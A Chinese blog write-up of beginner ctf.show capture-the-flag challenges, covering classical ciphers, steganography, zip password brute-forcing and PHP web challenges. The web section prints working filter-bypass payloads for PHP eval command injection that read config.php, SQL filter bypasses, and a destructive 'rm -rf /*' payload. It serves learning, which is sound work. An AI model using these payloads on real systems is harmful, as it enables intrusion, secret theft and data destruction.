萌新题wp
一.萌新_密码1
1.打开题目发现是由0~9和A~F组成的,应该是16进制
53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D
2.尝试16进制转字符串,在线工具即可,得:
S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=
3.一看就知道一定是base64加密,于是再一次上工具:
KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}
4.刚开始以为后面花括号里就是flag,结果不行,再看了一遍,发现里面有两个花括号,K,E,Y,恍然大悟,还有一层栅栏密码,猜想秘钥是2,在线解密一下,就出来了。
KEY{dffb06a33eeeb0d259c84bd8cf146d08-}
二.萌新_密码2
不得不说出题人脑洞是真大。。。
找了一圈键盘加密都不对,最后看了看大佬的wp,这才知道。。。
首先看题目rdcvbg 2qase3 6tghu7
为什么要分成三组呢,而且每组都是6个字符,那是因为在键盘上六个字符就会包围住一个字母
于是一组一组地看键盘,分别解出三个字母f,w,y
再用KEY{}包裹起来即为flag
三.萌新_密码3
1.打开题目 -- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. -- 发现像是摩斯密码,但是题目又提示培根密码,管他呢,先摩斯密码解密一下
MORSEISCOOLBUTBACONISCOOLERMMDDMDMDMMMDDDDMDDMMMMMDDMDMDDM
2.由于培根密码是由两个不同的字母组成,于是将后面MMDDMDMDMMMDDDDMDDMMMMMDDMDMDDM分离出来,将M换成A,D换成B,培根解密得:
GUOWANG
3.用flag{}包裹即可
四.萌新 隐写2
打开为一个加密的压缩包,又提示说90后,于是直接用ARCHPR爆破,范围为19900101到19991231,很快便爆破出来,然后直接打开flag文件,即得flag
五.萌新 隐写4
打开发现是一个dox文档,只有一张图片,但hint又说图片没有,这下真的没办法了就去看了wp
看完后,我只能长叹一声,还有这种操作
直接在word文档中选择 文件——工具——选项
然后选中显示隐藏文字,就好了。。。
六.萌新 密码#4
打开题目为QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==
有点像base64,于是先解个密,得到
Ao(mgHX^E)ARAnTF(J]f@<6".
提示又说是比base64更大的加密,于是我只能一个个地去试了,但是上面那样是不行的,要将&1t;换成<,再去base85解密,才得到flag{base_base_base}
七.萌新 隐写3
打开图片就有了。。。
八.杂项1
由题意可知,将ed400fbcff269bd9c65292a97488168a在线解密一下,再减去后面的ctf就好了
注意我原来用的那个网址好像还不行,要用它提示的那个https://www.somd5.com/解出flag{hello}
九.杂项2
打开图片,放到16进制编辑器中拖到末尾就是flag
记录一下网址,以备不时之需https://www.lanzoui.com/i9h1lfi
十.萌新 杂项3
刚开始没注意银行卡密码是六位数字,所以走了好多弯路,最后借助师傅的wp才解出
首先,生日是97年10月1,又告诉名字叫小五,密码是六位数
不难猜出应该是971015
十一.杂项4
打开一看就应该是压缩包加密解密,而且告诉了范围:九位数字,前三位为372,于是就从372000000到372999999,用ARCHPR很快就爆破出密码为372619038就是flag
十二.杂项5
打开文件,发现最后有一长串可疑字符,并且每隔一段距离就变大写,加上前几个大写字母刚好为FLAG,就想到把所有的大写字母拼起来,就是flag,
于是写了个脚本:
s = 'i was always Fond of visiting new scenes, and observing strange characters and manners.' \ 'even when a mere chiLd i began my travels,' \ ' and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, ' \ 'to the frequent alarm of my parents, ' \ 'and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. ' \ 'my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar ' \ 'With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed,' \ ' or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,' \ 'By noting their habits and customs, and conversing with their sages and great men.}' flag = '' for i in range(0, len(s)): if s[i] == '{' or s[i] == '}': flag += s[i] elif s[i] >= 'A' and s[i] <= 'Z': flag += chr(ord(s[i]) + 32) print(flag)
跑了一下,flag就出来了flag{ctfshownb}
十三.杂项6
看题目应该是伪加密,用16进制编辑器打开,找到50 4b 01 02也就是压缩包文件头,然后修改加密方式,也就是08前面的两位都为00 00就对了
保存——打开——flag{c_t_f_s_h_o_w}
十四.杂项7
小明的梦想果然很朴素。。。
打开为png图片,直接用hxd打开,修改高就行了,如图:
第二行前四位是宽,后四位是高,如果不知道修改多少,不妨修改地大一点,嘿嘿
然后flag就出来了flag{beautiful}
十五.杂项8
把图片用010editor打开,把宽03改为02,保存再打开就得到flag了
十六.杂项10
笑死我了,哈哈哈
果真是把眼镜一摘,就看到了,实在不行,直接把图片缩小
flag{我好喜欢你}
十七.杂项11
刚开始想不用它那个工具,直接用以前的工具解出来的,可惜试了半天,貌似不行,最后只好妥协用https://www.lanzoui.com/i9hm2di打开,然后保存为png格式,是张二维码,用PsQREdit扫一下,发现是一个链接https://ctf.show/?ZmxhZ3vmiJjnpZ7lvZLmnaXlj5HnjrDoh6rlt7HlhL/lrZDlnKjliLfpopjvvIzkuIDmgJLkuYvkuIvlj6zllKQxMOS4h+WwhuWjq+adpeaKpeS7h30=
直接将问号后面的部分base64解密一下
flag{战神归来发现自己儿子在刷题,一怒之下召唤10万将士来报仇}
十八.隐写1
好像题目的原因,图片打开不了
十九.隐写2
工具和上一题是一样的,但是这次将图片拖进去后,它下面显示了一行
就将它保存为1.txt文件
里面就是flag
二十.萌新隐写5
附件打开如上
上面那串很奇怪,于是关键字搜索了一下,发现是unicode编码,在线解码一下
看到网上师傅说什么16进制转字符串,一脸懵,?16进制,在哪儿呢?
然后百度了一下\uxxxx,发现这后面四位就是16进制编码,然后在线16进制转字符串:
惊喜地看到后面六个等号,是标准的base32编码形式
然后就简单了,base32解密一下,flag就出来了
flag(hao_jiu_bu_yong_b32_)
不知道为什么答案就是圆括号
二十一.萌新隐写6
音频文件,用audacity打开,发现上面有可疑的一串
应该是摩斯电码,将图像放大,可以更清楚地看到,用摩斯电码表示出来就是-- ..- --.. .. -.- .. ... --. ----- ----- -..
在线解密得到
muzikisg00d
flag出来了
二十二.web1~4
虽然过滤了,但又没过滤,总之,过滤的都是些没用的东西
直接payload:/?id='1000'就好了
二十三.web5
<html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?> </body> <!-- flag in id = 1000 --> </html>
这次过滤了‘,所以不能用'1000',但是可以用144^888的按位异或构造payload:/?id=144^888得到flag
按位异或,即比较每个操作数的二进制位,相同置为0,不同置为1
0^0 = 0 1^0 = 1 0^1 = 1 1^1 = 0 即同为假,异为真
二十四.web6
这几题好多都要用到位运算,特此科普了一下位运算
主要代码段if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id))
没有过滤~取反运算,所以只要两次取反1000就好
构造payload:/?id=~~1000
二十五.web7
主要代码段if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id))
这次用二进制绕过,0b1111101000
二十六.web8
结合题目,删库跑路了
“rm -rf /” 或者“rm -rf /*”命令都会删除Linux根目录下的所有文件,直接导致服务器瘫痪
构造payload:/?flag=rm -rf /*
二十七.web9
这题有点坑,它是匹配到/system|exec|highlight/i
,才会执行c,所以就好办了
直接上payload:/?c=highlight_file('config.php');要记住加分号
然后flag就出来了
二十八.web10
这题和上面一题相反,直接过滤了上面的字符,所以这题直接拼接过滤就好了
构造payload:/?c=$a=sys;$b=tem;$d=$a.$b;$d('cat config.php');
再在源码里找到flag
二十九.web11
关键代码if(!preg_match("/system|exec|highlight|cat/i",$c))
这题在上面一题的基础上过滤了cat
但是搜一搜,发现linux中有很多可以替代cat的命令如 tac、more、less、head、tail、nl、sed、sort、uniq,我试过,其中只有tac和sort是直接在页面中显示flag,其他除了sed都是在源码中展示,而sed不知道为什么出现错误
还可以单引号或者双引号或者反斜杠绕过cat,如:
system('ca""t config.php') system("ca''t config.php")
都是可以的
三十.web12
关键代码if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))
过滤了一些系统命令,和config和php
但是还有其他的系统命令执行函数如下:
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()
可以用反引号过滤``,在linux中反引号的作用是引号内的命令先执行,然后将执行结果赋予变量,payload如下:
/?c=passthru("ca''t `ls`");
或者base64加密来过滤,payload如下:
/?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
三十一.web13
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))
这次连;都过滤了,所以只能执行一条语句,因为是eval()函数,所以可以用?>来闭合语句,除了上一题的/?c=passthru("ca''t `ls`")?>还可以用assert()函数
payload:/?c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>
flag就出来了
三十二.web14
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))
这次过滤地是真彻底,这题也有点意思,过滤了括号,所以那些命令基本上都不能用了,上payload:
/?c=echo`$_POST[1]`?>
然后还要post传参1=cat config.php,查看源码就得到flag了
三十三.web15
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))
这次虽然过滤了尖括号,但是没有过滤分号,所以构造payload还和上题差不多:
/?c=echo`$_POST[1]`;
然后POST传参1=cat config.php
查看源码就得到flag
三十四.web16
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){ echo $flag; }else{ echo "nonono!"; } }else{ highlight_file(__FILE__); } ?>
看代码,就像解方程似的,只要逆回去就好了,它首先将ctfshow$c md5加密一下,如果等于后面那一串就得到flag
所以就是将那一串md5解密一下,得到ctfshow36d,所以得到c=36d,直接payload:
/?c=36d就得到flag
本文来自博客园,作者:Athena-ydy,转载请注明原文链接:https://www.cnblogs.com/Athena-ydy/p/15129062.html
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!